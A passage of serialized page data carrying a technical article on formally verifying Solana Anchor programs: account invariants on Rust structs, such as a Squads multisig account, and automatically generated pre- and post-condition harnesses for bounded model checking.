u64,\n}\n",[23862],{"type":24,"tag":156,"props":23863,"children":23864},{"__ignoreMap":7},[23865,23873,23881,23915,23922,23938,23964,23988,24012],{"type":24,"tag":930,"props":23866,"children":23867},{"class":932,"line":933},[23868],{"type":24,"tag":930,"props":23869,"children":23870},{"style":959},[23871],{"type":30,"value":23872},"#[account]\n",{"type":24,"tag":930,"props":23874,"children":23875},{"class":932,"line":984},[23876],{"type":24,"tag":930,"props":23877,"children":23878},{"style":959},[23879],{"type":30,"value":23880},"#[invariant(\n",{"type":24,"tag":930,"props":23882,"children":23883},{"class":932,"line":993},[23884,23889,23893,23898,23902,23906,23910],{"type":24,"tag":930,"props":23885,"children":23886},{"style":959},[23887],{"type":30,"value":23888},"    self",{"type":24,"tag":930,"props":23890,"children":23891},{"style":1158},[23892],{"type":30,"value":436},{"type":24,"tag":930,"props":23894,"children":23895},{"style":959},[23896],{"type":30,"value":23897},"assets ",{"type":24,"tag":930,"props":23899,"children":23900},{"style":1158},[23901],{"type":30,"value":13051},{"type":24,"tag":930,"props":23903,"children":23904},{"style":959},[23905],{"type":30,"value":16904},{"type":24,"tag":930,"props":23907,"children":23908},{"style":1158},[23909],{"type":30,"value":436},{"type":24,"tag":930,"props":23911,"children":23912},{"style":959},[23913],{"type":30,"value":23914},"liabilities\n",{"type":24,"tag":930,"props":23916,"children":23917},{"class":932,"line":1057},[23918],{"type":24,"tag":930,"props":23919,"children":23920},{"style":959},[23921],{"type":30,"value":23362},{"type":24,"tag":930,"props":23923,"children":23924},{"class":932,"line":1066},[23925,23929,23934],{"type":24,"tag":930,"props":23926,"children":23927},{"style":937},[23928],{"type":30,"value":12509},{"type":24,"tag":930,"props":23930,"children":23931},{"style":943},[23932],{"type":30,"value":23933}," UserStatement",{"type":24,"tag":930,"props":23935,"children":23936},{"style":959},[23937],{"type":30,"value":981},{"type":24,"tag":930,"props":23939,"children":23940},{"class":932,"line":1075},[23941,23946,23951,23955,23960],{"type":24,"tag":930,"props":23942,"children":23943},{"style":937},[23944],{"type":30,"value":23945},"    pub",{"type":24,"tag":930,"props":23947,"children":23948},{"style":1023},[23949],{"type":30,"value":23950}," owner",{"type":24,"tag":930,"props":23952,"children":23953},{"style":1158},[23954],{"type":30,"value":476},{"type":24,"tag":930,"props":23956,"children":23957},{"style":943},[23958],{"type":30,"value":23959}," Pubkey",{"type":24,"tag":930,"props":23961,"children":23962},{"style":959},[23963],{"type":30,"value":2832},{"type":24,"tag":930,"props":23965,"children":23966},{"class":932,"line":1122},[23967,23971,23976,23980,23984],{"type":24,"tag":930,"props":23968,"children":23969},{"style":937},[23970],{"type":30,"value":23945},{"type":24,"tag":930,"props":23972,"children":23973},{"style":1023},[23974],{"type":30,"value":23975}," assets",{"type":24,"tag":930,"props":23977,"children":23978},{"style":1158},[23979],{"type":30,"value":476},{"type":24,"tag":930,"props":23981,"children":23982},{"style":943},[23983],{"type":30,"value":8972},{"type":24,"tag":930,"props":23985,"children":23986},{"style":959},[23987],{"type":30,"value":2832},{"type":24,"tag":930,"props":23989,"children":23990},{"class":932,"line":1131},[23991,23995,24000,24004,24008],{"type":24,"tag":930,"props":23992,"children":23993},{"style":937},[23994],{"type":30,"value":23945},{"type":24,"tag":930,"props":23996,"children":23997},{"style":1023},[23998],{"type":30,"value":23999}," liabilities",{"type":24,"tag":930,"props":24001,"children":24002},{"style":1158},[24003],{"type":30,"value":476},{"type":24,"tag":930,"props":24005,"children":24006},{"style":943},[24007],{"type":30,"value":8972},{"type":24,"tag":930,"props":24009,"children":24010},{"style":959},[24011],{"type":30,"value":2832},{"type":24,"tag":930,"props":24013,"children":24014},{"class":932,"line":1144},[24015],{"type":24,"tag":930,"props":24016,"children":24017},{"style":959},[24018],{"type":30,"value":2528},{"type":24,"tag":33,"props":24020,"children":24021},{},[24022,24024,24029],{"type":30,"value":24023},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":156,"props":24025,"children":24027},{"className":24026},[],[24028],{"type":30,"value":23855},{"type":30,"value":24030}," is created or modified.",{"type":24,"tag":33,"props":24032,"children":24033},{},[24034,24036,24042],{"type":30,"value":24035},"In another example, we developed the following invariant for the ",{"type":24,"tag":37,"props":24037,"children":24039},{"href":21926,"rel":24038},[41],[24040],{"type":30,"value":24041},"Squads Multisig",{"type":30,"value":24043}," wallet account:",{"type":24,"tag":920,"props":24045,"children":24047},{"code":24046,"language":6101,"meta":7,"className":6102,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[24048],{"type":24,"tag":156,"props":24049,"children":24050},{"__ignoreMap":7},[24051,24058,24065,24095,24154,24183,24235,24242,24263,24293,24323,24353,24382,24412,24442,24471,24511],{"type":24,"tag":930,"props":24052,"children":24053},{"class":932,"line":933},[24054],{"type":24,"tag":930,"props":24055,"children":24056},{"style":959},[24057],{"type":30,"value":23872},{"type":24,"tag":930,"props":24059,"children":24060},{"class":932,"line":984},[24061],{"type":24,"tag":930,"props":24062,"children":24063},{"style":959},[24064],{"type":30,"value":23880},{"type":24,"tag":930,"props":24066,"children":24067},{"class":932,"line":993},[24068,24073,24077,24081,24086,24090],{"type":24,"tag":930,"props":24069,"children":24070},{"style":1158},[24071],{"type":30,"value":24072},"    !",{"type":24,"tag":930,"props":24074,"children":24075},{"style":959},[24076],{"type":30,"value":16820},{"type":24,"tag":930,"props":24078,"children":24079},{"style":1158},[24080],{"type":30,"value":436},{"type":24,"tag":930,"props":24082,"children":24083},{"style":959},[24084],{"type":30,"value":24085},"keys",{"type":24,"tag":930,"props":24087,"children":24088},{"style":1158},[24089],{"type":30,"value":436},{"type":24,"tag":930,"props":24091,"children":24092},{"style":959},[24093],{"type":30,"value":24094},"is_empty()\n",{"type":24,"tag":930,"props":24096,"children":24097},{"class":932,"line":1057},[24098,24102,24107,24111,24115,24119,24124,24128,24133,24137,24142,24146,24150],{"type":24,"tag":930,"props":24099,"children":24100},{"style":1158},[24101],{"type":30,"value":18725},{"type":24,"tag":930,"props":24103,"children":24104},{"style":959},[24105],{"type":30,"value":24106}," (self",{"type":24,"tag":930,"props":24108,"children":24109},{"style":1158},[24110],{"type":30,"value":436},{"type":24,"tag":930,"props":24112,"children":24113},{"style":959},[24114],{"type":30,"value":24085},{"type":24,"tag":930,"props":24116,"children":24117},{"style":1158},[24118],{"type":30,"value":436},{"type":24,"tag":930,"props":24120,"children":24121},{"style":959},[24122],{"type":30,"value":24123},"len() ",{"type":24,"tag":930,"props":24125,"children":24126},{"style":1158},[24127],{"type":30,"value":22517},{"type":24,"tag":930,"props":24129,"children":24130},{"style":943},[24131],{"type":30,"value":24132}," u16",{"type":24,"tag":930,"props":24134,"children":24135},{"style":1158},[24136],{"type":30,"value":6597},{"type":24,"tag":930,"props":24138,"children":24139},{"style":943},[24140],{"type":30,"value":24141},"MAX",{"type":24,"tag":930,"props":24143,"children":24144},{"style":937},[24145],{"type":30,"value":11937},{"type":24,"tag":930,"props":24147,"children":24148},{"style":943},[24149],{"type":30,"value":16838},{"type":24,"tag":930,"props":24151,"children":24152},{"style":959},[24153],{"type":30,"value":1054},{"type":24,"tag":930,"props":24155,"children":24156},{"class":932,"line":1066},[24157,24161,24165,24169,24174,24178],{"type":24,"tag":930,"props":24158,"children":24159},{"style":1158},[24160],{"type":30,"value":18725},{"type":24,"tag":930,"props":24162,"children":24163},{"style":959},[24164],{"type":30,"value":24106},{"type":24,"tag":930,"props":24166,"children":24167},{"style":1158},[24168],{"type":30,"value":436},{"type":24,"tag":930,"props":24170,"children":24171},{"style":959},[24172],{"type":30,"value":24173},"threshold ",{"type":24,"tag":930,"props":24175,"children":24176},{"style":1158},[24177],{"type":30,"value":13051},{"type":24,"tag":930,"props":24179,"children":24180},{"style":959},[24181],{"type":30,"value":24182}," 1)\n",{"type":24,"tag":930,"props":24184,"children":24185},{"class":932,"line":1075},[24186,24190,24194,24198,24202,24206,24210,24214,24218,24222,24226,24230],{"type":24,"tag":930,"props":24187,"children":24188},{"style":1158},[24189],{"type":30,"value":18725},{"type":24,"tag":930,"props":24191,"children":24192},{"style":959},[24193],{"type":30,"value":24106},{"type":24,"tag":930,"props":24195,"children":24196},{"style":1158},[24197],{"type":30,"value":436},{"type":24,"tag":930,"props":24199,"children":24200},{"style":959},[24201],{"type":30,"value":24173},{"type":24,"tag":930,"props":24203,"children":24204},{"style":937},[24205],{"type":30,"value":11951},{"type":24,"tag":930,"props":24207,"children":24208},{"style":943},[24209],{"type":30,"value":16838},{"type":24,"tag":930,"props":24211,"children":24212},{"style":1158},[24213],{"type":30,"value":11306},{"type":24,"tag":930,"props":24215,"children":24216},{"style":959},[24217],{"type":30,"value":16904},{"type":24,"tag":930,"props":24219,"children":24220},{"style":1158},[24221],{"type":30,"value":436},{"type":24,"tag":930,"props":24223,"children":24224},{"style":959},[24225],{"type":30,"value":24085},{"type":24,"tag":930,"props":24227,"children":24228},{"style":1158},[24229],{"type":30,"value":436},{"type":24,"tag":930,"props":24231,"children":24232},{"style":959},[24233],{"type":30,"value":24234},"len())\n",{"type":24,"tag":930,"props":24236,"children":24237},{"class":932,"line":1122},[24238],{"type":24,"tag":930,"props":24239,"children":24240},{"style":959},[24241],{"type":30,"value":23362},{"type":24,"tag":930,"props":24243,"children":24244},{"class":932,"line":1131},[24245,24249,24254,24259],{"type":24,"tag":930,"props":24246,"children":24247},{"style":937},[24248],{"type":30,"value":16797},{"type":24,"tag":930,"props":24250,"children":24251},{"style":937},[24252],{"type":30,"value":24253}," struct",{"type":24,"tag":930,"props":24255,"children":24256},{"style":943},[24257],{"type":30,"value":24258}," Ms",{"type":24,"tag":930,"props":24260,"children":24261},{"style":959},[24262],{"type":30,"value":981},{"type":24,"tag":930,"props":24264,"children":24265},{"class":932,"line":1144},[24266,24270,24275,24279,24283,24288],{"type":24,"tag":930,"props":24267,"children":24268},{"style":937},[24269],{"type":30,"value":23945},{"type":24,"tag":930,"props":24271,"children":24272},{"style":1023},[24273],{"type":30,"value":24274}," threshold",{"type":24,"tag":930,"props":24276,"children":24277},{"style":1158},[24278],{"type":30,"value":476},{"type":24,"tag":930,"props":24280,"children":24281},{"style":943},[24282],{"type":30,"value":24132},{"type":24,"tag":930,"props":24284,"children":24285},{"style":959},[24286],{"type":30,"value":24287},",               ",{"type":24,"tag":930,"props":24289,"children":24290},{"style":1422},[24291],{"type":30,"value":24292},"// threshold for signatures\n",{"type":24,"tag":930,"props":24294,"children":24295},{"class":932,"line":1169},[24296,24300,24305,24309,24313,24318],{"type":24,"tag":930,"props":24297,"children":24298},{"style":937},[24299],{"type":30,"value":23945},{"type":24,"tag":930,"props":24301,"children":24302},{"style":1023},[24303],{"type":30,"value":24304}," authority_index",{"type":24,"tag":930,"props":24306,"children":24307},{"style":1158},[24308],{"type":30,"value":476},{"type":24,"tag":930,"props":24310,"children":24311},{"style":943},[24312],{"type":30,"value":24132},{"type":24,"tag":930,"props":24314,"children":24315},{"style":959},[24316],{"type":30,"value":24317},",         ",{"type":24,"tag":930,"props":24319,"children":24320},{"style":1422},[24321],{"type":30,"value":24322},"// index to seed other authorities under this multisig\n",{"type":24,"tag":930,"props":24324,"children":24325},{"class":932,"line":1191},[24326,24330,24335,24339,24343,24348],{"type":24,"tag":930,"props":24327,"children":24328},{"style":937},[24329],{"type":30,"value":23945},{"type":24,"tag":930,"props":24331,"children":24332},{"style":1023},[24333],{"type":30,"value":24334}," transaction_index",{"type":24,"tag":930,"props":24336,"children":24337},{"style":1158},[24338],{"type":30,"value":476},{"type":24,"tag":930,"props":24340,"children":24341},{"style":943},[24342],{"type":30,"value":20651},{"type":24,"tag":930,"props":24344,"children":24345},{"style":959},[24346],{"type":30,"value":24347},",       ",{"type":24,"tag":930,"props":24349,"children":24350},{"style":1422},[24351],{"type":30,"value":24352},"// look up and seed reference for transactions\n",{"type":24,"tag":930,"props":24354,"children":24355},{"class":932,"line":1223},[24356,24360,24365,24369,24373,24377],{"type":24,"tag":930,"props":24357,"children":24358},{"style":937},[24359],{"type":30,"value":23945},{"type":24,"tag":930,"props":24361,"children":24362},{"style":1023},[24363],{"type":30,"value":24364}," ms_change_index",{"type":24,"tag":930,"props":24366,"children":24367},{"style":1158},[24368],{"type":30,"value":476},{"type":24,"tag":930,"props":24370,"children":24371},{"style":943},[24372],{"type":30,"value":20651},{"type":24,"tag":930,"props":24374,"children":24375},{"style":959},[24376],{"type":30,"value":24317},{"type":24,"tag":930,"props":24378,"children":24379},{"style":1422},[24380],{"type":30,"value":24381},"// the last executed/closed transaction\n",{"type":24,"tag":930,"props":24383,"children":24384},{"class":932,"line":1281},[24385,24389,24394,24398,24402,24407],{"type":24,"tag":930,"props":24386,"children":24387},{"style":937},[24388],{"type":30,"value":23945},{"type":24,"tag":930,"props":24390,"children":24391},{"style":1023},[24392],{"type":30,"value":24393}," bump",{"type":24,"tag":930,"props":24395,"children":24396},{"style":1158},[24397],{"type":30,"value":476},{"type":24,"tag":930,"props":24399,"children":24400},{"style":943},[24401],{"type":30,"value":17740},{"type":24,"tag":930,"props":24403,"children":24404},{"style":959},[24405],{"type":30,"value":24406},",                     ",{"type":24,"tag":930,"props":24408,"children":24409},{"style":1422},[24410],{"type":30,"value":24411},"// bump for the multisig seed\n",{"type":24,"tag":930,"props":24413,"children":24414},{"class":932,"line":1313},[24415,24419,24424,24428,24432,24437],{"type":24,"tag":930,"props":24416,"children":24417},{"style":937},[24418],{"type":30,"value":23945},{"type":24,"tag":930,"props":24420,"children":24421},{"style":1023},[24422],{"type":30,"value":24423}," create_key",{"type":24,"tag":930,"props":24425,"children":24426},{"style":1158},[24427],{"type":30,"value":476},{"type":24,"tag":930,"props":24429,"children":24430},{"style":943},[24431],{"type":30,"value":23959},{"type":24,"tag":930,"props":24433,"children":24434},{"style":959},[24435],{"type":30,"value":24436},",           ",{"type":24,"tag":930,"props":24438,"children":24439},{"style":1422},[24440],{"type":30,"value":24441},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":930,"props":24443,"children":24444},{"class":932,"line":1335},[24445,24449,24454,24458,24462,24466],{"type":24,"tag":930,"props":24446,"children":24447},{"style":937},[24448],{"type":30,"value":23945},{"type":24,"tag":930,"props":24450,"children":24451},{"style":1023},[24452],{"type":30,"value":24453}," allow_external_execute",{"type":24,"tag":930,"props":24455,"children":24456},{"style":1158},[24457],{"type":30,"value":476},{"type":24,"tag":930,"props":24459,"children":24460},{"style":943},[24461],{"type":30,"value":15157},{"type":24,"tag":930,"props":24463,"children":24464},{"style":959},[24465],{"type":30,"value":962},{"type":24,"tag":930,"props":24467,"children":24468},{"style":1422},[24469],{"type":30,"value":24470},"// allow non-member keys to execute txs\n",{"type":24,"tag":930,"props":24472,"children":24473},{"class":932,"line":1376},[24474,24478,24483,24487,24492,24496,24501,24506],{"type":24,"tag":930,"props":24475,"children":24476},{"style":937},[24477],{"type":30,"value":23945},{"type":24,"tag":930,"props":24479,"children":24480},{"style":1023},[24481],{"type":30,"value":24482}," keys",{"type":24,"tag":930,"props":24484,"children":24485},{"style":1158},[24486],{"type":30,"value":476},{"type":24,"tag":930,"props":24488,"children":24489},{"style":943},[24490],{"type":30,"value":24491}," Vec",{"type":24,"tag":930,"props":24493,"children":24494},{"style":959},[24495],{"type":30,"value":1350},{"type":24,"tag":930,"props":24497,"children":24498},{"style":943},[24499],{"type":30,"value":24500},"Pubkey",{"type":24,"tag":930,"props":24502,"children":24503},{"style":959},[24504],{"type":30,"value":24505},">,            ",{"type":24,"tag":930,"props":24507,"children":24508},{"style":1422},[24509],{"type":30,"value":24510},"// keys of the members\n",{"type":24,"tag":930,"props":24512,"children":24513},{"class":932,"line":1418},[24514],{"type":24,"tag":930,"props":24515,"children":24516},{"style":959},[24517],{"type":30,"value":2528},{"type":24,"tag":33,"props":24519,"children":24520},{},[24521],{"type":30,"value":24522},"Here we are verifying multiple things at once:",{"type":24,"tag":96,"props":24524,"children":24525},{},[24526,24537,24548,24559],{"type":24,"tag":100,"props":24527,"children":24528},{},[24529,24535],{"type":24,"tag":156,"props":24530,"children":24532},{"className":24531},[],[24533],{"type":30,"value":24534},"!self.keys.is_empty()",{"type":30,"value":24536}," : ensure there is at least one member",{"type":24,"tag":100,"props":24538,"children":24539},{},[24540,24546],{"type":24,"tag":156,"props":24541,"children":24543},{"className":24542},[],[24544],{"type":30,"value":24545},"self.keys.len() \u003C= u16::MAX as usize",{"type":30,"value":24547}," : set an upper limit of 65535 members",{"type":24,"tag":100,"props":24549,"children":24550},{},[24551,24557],{"type":24,"tag":156,"props":24552,"children":24554},{"className":24553},[],[24555],{"type":30,"value":24556},"self.threshold >= 1",{"type":30,"value":24558}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":100,"props":24560,"children":24561},{},[24562,24568],{"type":24,"tag":156,"props":24563,"children":24565},{"className":24564},[],[24566],{"type":30,"value":24567},"self.threshold as usize \u003C= self.keys.len()",{"type":30,"value":24569}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":68,"props":24571,"children":24573},{"id":24572},"verification-how-do-we-check-that-our-model-is-correct",[24574],{"type":30,"value":24575},"Verification: How do we check that our model is correct?",{"type":24,"tag":33,"props":24577,"children":24578},{},[24579,24581,24585,24587,24592],{"type":30,"value":24580},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":6032,"props":24582,"children":24583},{},[24584],{"type":30,"value":23072},{"type":30,"value":24586}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":6032,"props":24588,"children":24589},{},[24590],{"type":30,"value":24591},"automagically",{"type":30,"value":24593}," for anchor-lang programs.",{"type":24,"tag":33,"props":24595,"children":24596},{},[24597,24599,24605,24607,24612,24614,24619,24620,24625,24627,24632,24634,24639,24640,24646,24648,24654,24655,24661],{"type":30,"value":24598},"Specifically, for a given ",{"type":24,"tag":156,"props":24600,"children":24602},{"className":24601},[],[24603],{"type":30,"value":24604},"Context\u003CT>",{"type":30,"value":24606}," with ",{"type":24,"tag":6032,"props":24608,"children":24609},{},[24610],{"type":30,"value":24611},"incoming",{"type":30,"value":24613}," accounts of types (",{"type":24,"tag":156,"props":24615,"children":24617},{"className":24616},[],[24618],{"type":30,"value":23843},{"type":30,"value":1471},{"type":24,"tag":156,"props":24621,"children":24623},{"className":24622},[],[24624],{"type":30,"value":6839},{"type":30,"value":24626},") and ",{"type":24,"tag":6032,"props":24628,"children":24629},{},[24630],{"type":30,"value":24631},"outgoing",{"type":30,"value":24633}," accounts of type (",{"type":24,"tag":156,"props":24635,"children":24637},{"className":24636},[],[24638],{"type":30,"value":6839},{"type":30,"value":1471},{"type":24,"tag":156,"props":24641,"children":24643},{"className":24642},[],[24644],{"type":30,"value":24645},"close",{"type":30,"value":24647},") we define a ",{"type":24,"tag":156,"props":24649,"children":24651},{"className":24650},[],[24652],{"type":30,"value":24653},"pre_condition",{"type":30,"value":211},{"type":24,"tag":156,"props":24656,"children":24658},{"className":24657},[],[24659],{"type":30,"value":24660},"post_condition",{"type":30,"value":24662}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":33,"props":24664,"children":24665},{},[24666],{"type":24,"tag":156,"props":24667,"children":24669},{"className":24668},[7098,7099],[24670],{"type":24,"tag":930,"props":24671,"children":24673},{"className":24672},[7104],[24674],{"type":24,"tag":930,"props":24675,"children":24677},{"className":24676,"ariaHidden":7110},[7109],[24678,24713],{"type":24,"tag":930,"props":24679,"children":24681},{"className":24680},[7115],[24682,24687,24695,24700,24704,24709],{"type":24,"tag":930,"props":24683,"children":24686},{"className":24684,"style":24685},[7120],"height:0.6833em;",[],{"type":24,"tag":930,"props":24688,"children":24692},{"className":24689,"style":24691},[7126,24690],"mathnormal","margin-right:0.13889em;",[24693],{"type":30,"value":24694},"P",{"type":24,"tag":930,"props":24696,"children":24698},{"className":24697},[7126],[24699],{"type":30,"value":1818},{"type":24,"tag":930,"props":24701,"children":24703},{"className":24702,"style":7304},[7206],[],{"type":24,"tag":930,"props":24705,"children":24707},{"className":24706},[7309],[24708],{"type":30,"value":3145},{"type":24,"tag":930,"props":24710,"children":24712},{"className":24711,"style":7304},[7206],[],{"type":24,"tag":930,"props":24714,"children":24716},{"className":24715},[7115],[24717,24722,24862,24866],{"type":24,"tag":930,"props":24718,"children":24721},{"className":24719,"style":24720},[7120],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":930,"props":24723,"children":24726},{"className":24724},[24725],"mop",[24727,24736],{"type":24,"tag":930,"props":24728,"children":24733},{"className":24729,"style":24732},[24725,24730,24731],"op-symbol","small-op","position:relative;top:0em;",[24734],{"type":30,"value":24735},"⋀",{"type":24,"tag":930,"props":24737,"children":24739},{"className":24738},[7142],[24740],{"type":24,"tag":930,"props":24741,"children":24744},{"className":24742},[7147,24743],"vlist-t2",[24745,24850],{"type":24,"tag":930,"props":24746,"children":24748},{"className":24747},[7152],[24749,24843],{"type":24,"tag":930,"props":24750,"children":24753},{"className":24751,"style":24752},[7157],"height:0.2253em;",[24754],{"type":24,"tag":930,"props":24755,"children":24757},{"style":24756},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[24758,24762],{"type":24,"tag":930,"props":24759,"children":24761},{"className":24760,"style":7167},[7166],[],{"type":24,"tag":930,"props":24763,"children":24765},{"className":24764},[7172,7173,7174,7175],[24766],{"type":24,"tag":930,"props":24767,"children":24769},{"className":24768},[7126,7175],[24770,24775,24781,24791,24797,24806,24815,24821,24826,24832,24837],{"type":24,"tag":930,"props":24771,"children":24773},{"className":24772},[7126,24690,7175],[24774],{"type":30,"value":37},{"type":24,"tag":930,"props":24776,"children":24778},{"className":24777},[7126,24690,7175],[24779],{"type":30,"value":24780},"cc",{"type":24,"tag":930,"props":24782,"children":24784},{"className":24783},[7206,7175],[24785],{"type":24,"tag":930,"props":24786,"children":24788},{"className":24787},[7175],[24789],{"type":30,"value":24790}," ",{"type":24,"tag":930,"props":24792,"children":24794},{"className":24793},[7309,7175],[24795],{"type":30,"value":24796},"∈",{"type":24,"tag":930,"props":24798,"children":24800},{"className":24799},[7206,7175],[24801],{"type":24,"tag":930,"props":24802,"children":24804},{"className":24803},[7175],[24805],{"type":30,"value":24790},{"type":24,"tag":930,"props":24807,"children":24809},{"className":24808},[7126,30,7175],[24810],{"type":24,"tag":930,"props":24811,"children":24813},{"className":24812},[7126,7175],[24814],{"type":30,"value":24611},{"type":24,"tag":930,"props":24816,"children":24819},{"className":24817},[24818,7175],"mopen",[24820],{"type":30,"value":1010},{"type":24,"tag":930,"props":24822,"children":24824},{"className":24823},[7126,24690,7175],[24825],{"type":30,"value":6268},{"type":24,"tag":930,"props":24827,"children":24829},{"className":24828},[7126,24690,7175],[24830],{"type":30,"value":24831},"t",{"type":24,"tag":930,"props":24833,"children":24835},{"className":24834},[7126,24690,7175],[24836],{"type":30,"value":22378},{"type":24,"tag":930,"props":24838,"children":24841},{"className":24839},[24840,7175],"mclose",[24842],{"type":30,"value":6249},{"type":24,"tag":930,"props":24844,"children":24847},{"className":24845},[24846],"vlist-s",[24848],{"type":30,"value":24849},"​",{"type":24,"tag":930,"props":24851,"children":24853},{"className":24852},[7152],[24854],{"type":24,"tag":930,"props":24855,"children":24858},{"className":24856,"style":24857},[7157],"height:0.4747em;",[24859],{"type":24,"tag":930,"props":24860,"children":24861},{},[],{"type":24,"tag":930,"props":24863,"children":24865},{"className":24864,"style":7245},[7206],[],{"type":24,"tag":930,"props":24867,"children":24869},{"className":24868},[7126],[24870,24880,24885,24890,24895],{"type":24,"tag":930,"props":24871,"children":24873},{"className":24872},[7126,30],[24874],{"type":24,"tag":930,"props":24875,"children":24877},{"className":24876},[7126],[24878],{"type":30,"value":24879},"invariant",{"type":24,"tag":930,"props":24881,"children":24883},{"className":24882},[24818],[24884],{"type":30,"value":1010},{"type":24,"tag":930,"props":24886,"children":24888},{"className":24887},[7126,24690],[24889],{"type":30,"value":37},{"type":24,"tag":930,"props":24891,"children":24893},{"className":24892},[7126,24690],[24894],{"type":30,"value":24780},{"type":24,"tag":930,"props":24896,"children":24898},{"className":24897},[24840],[24899],{"type":30,"value":6249},{"type":24,"tag":33,"props":24901,"children":24902},{},[24903],{"type":24,"tag":156,"props":24904,"children":24906},{"className":24905},[7098,7099],[24907],{"type":24,"tag":930,"props":24908,"children":24910},{"className":24909},[7104],[24911],{"type":24,"tag":930,"props":24912,"children":24914},{"className":24913,"ariaHidden":7110},[7109],[24915,24946],{"type":24,"tag":930,"props":24916,"children":24918},{"className":24917},[7115],[24919,24923,24928,24933,24937,24942],{"type":24,"tag":930,"props":24920,"children":24922},{"className":24921,"style":24685},[7120],[],{"type":24,"tag":930,"props":24924,"children":24926},{"className":24925,"style":24691},[7126,24690],[24927],{"type":30,"value":24694},{"type":24,"tag":930,"props":24929,"children":24931},{"className":24930},[7126],[24932],{"type":30,"value":7129},{"type":24,"tag":930,"props":24934,"children":24936},{"className":24935,"style":7304},[7206],[],{"type":24,"tag":930,"props":24938,"children":24940},{"className":24939},[7309],[24941],{"type":30,"value":3145},{"type":24,"tag":930,"props":24943,"children":24945},{"className":24944,"style":7304},[7206],[],{"type":24,"tag":930,"props":24947,"children":24949},{"className":24948},[7115],[24950,24954,25077,25081],{"type":24,"tag":930,"props":24951,"children":24953},{"className":24952,"style":24720},[7120],[],{"type":24,"tag":930,"props":24955,"children":24957},{"className":24956},[24725],[24958,24963],{"type":24,"tag":930,"props":24959,"children":24961},{"className":24960,"style":24732},[24725,24730,24731],[24962],{"type":30,"value":24735},{"type":24,"tag":930,"props":24964,"children":24966},{"className":24965},[7142],[24967],{"type":24,"tag":930,"props":24968,"children":24970},{"className":24969},[7147,24743],[24971,25066],{"type":24,"tag":930,"props":24972,"children":24974},{"className":24973},[7152],[24975,25061],{"type":24,"tag":930,"props":24976,"children":24978},{"className":24977,"style":24752},[7157],[24979],{"type":24,"tag":930,"props":24980,"children":24981},{"style":24756},[24982,24986],{"type":24,"tag":930,"props":24983,"children":24985},{"className":24984,"style":7167},[7166],[],{"type":24,"tag":930,"props":24987,"children":24989},{"className":24988},[7172,7173,7174,7175],[24990],{"type":24,"tag":930,"props":24991,"children":24993},{"className":24992},[7126,7175],[24994,24999,25004,25013,25018,25027,25036,25041,25046,25051,25056],{"type":24,"tag":930,"props":24995,"children":24997},{"className":24996},[7126,24690,7175],[24998],{"type":30,"value":37},{"type":24,"tag":930,"props":25000,"children":25002},{"className":25001},[7126,24690,7175],[25003],{"type":30,"value":24780},{"type":24,"tag":930,"props":25005,"children":25007},{"className":25006},[7206,7175],[25008],{"type":24,"tag":930,"props":25009,"children":25011},{"className":25010},[7175],[25012],{"type":30,"value":24790},{"type":24,"tag":930,"props":25014,"children":25016},{"className":25015},[7309,7175],[25017],{"type":30,"value":24796},{"type":24,"tag":930,"props":25019,"children":25021},{"className":25020},[7206,7175],[25022],{"type":24,"tag":930,"props":25023,"children":25025},{"className":25024},[7175],[25026],{"type":30,"value":24790},{"type":24,"tag":930,"props":25028,"children":25030},{"className":25029},[7126,30,7175],[25031],{"type":24,"tag":930,"props":25032,"children":25034},{"className":25033},[7126,7175],[25035],{"type":30,"value":24631},{"type":24,"tag":930,"props":25037,"children":25039},{"className":25038},[24818,7175],[25040],{"type":30,"value":1010},{"type":24,"tag":930,"props":25042,"children":25044},{"className":25043},[7126,24690,7175],[25045],{"type":30,"value":6268},{"type":24,"tag":930,"props":25047,"children":25049},{"className":25048},[7126,24690,7175],[25050],{"type":30,"value":24831},{"type":24,"tag":930,"props":25052,"children":25054},{"className":25053},[7126,24690,7175],[25055],{"type":30,"value":22378},{"type":24,"tag":930,"props":25057,"children":25059},{"className":25058},[24840,7175],[25060],{"type":30,"value":6249},{"type":24,"tag":930,"props":25062,"children":25064},{"className":25063},[24846],[25065],{"type":30,"value":24849},{"type":24,"tag":930,"props":25067,"children":25069},{"className":25068},[7152],[25070],{"type":24,"tag":930,"props":25071,"children":25073},{"className":25072,"style":24857},[7157],[25074],{"type":24,"tag":930,"props":25075,"children":25076},{},[],{"type":24,"tag":930,"props":25078,"children":25080},{"className":25079,"style":7245},[7206],[],{"type":24,"tag":930,"props":25082,"children":25084},{"className":25083},[7126],[25085,25094,25099,25104,25109],{"type":24,"tag":930,"props":25086,"children":25088},{"className":25087},[7126,30],[25089],{"type":24,"tag":930,"props":25090,"children":25092},{"className":25091},[7126],[25093],{"type":30,"value":24879},{"type":24,"tag":930,"props":25095,"children":25097},{"className":25096},[24818],[25098],{"type":30,"value":1010},{"type":24,"tag":930,"props":25100,"children":25102},{"className":25101},[7126,24690],[25103],{"type":30,"value":37},{"type":24,"tag":930,"props":25105,"children":25107},{"className":25106},[7126,24690],[25108],{"type":30,"value":24780},{"type":24,"tag":930,"props":25110,"children":25112},{"className":25111},[24840],[25113],{"type":30,"value":6249},{"type":24,"tag":33,"props":25115,"children":25116},{},[25117],{"type":30,"value":25118},"Our instruction invariants are represented 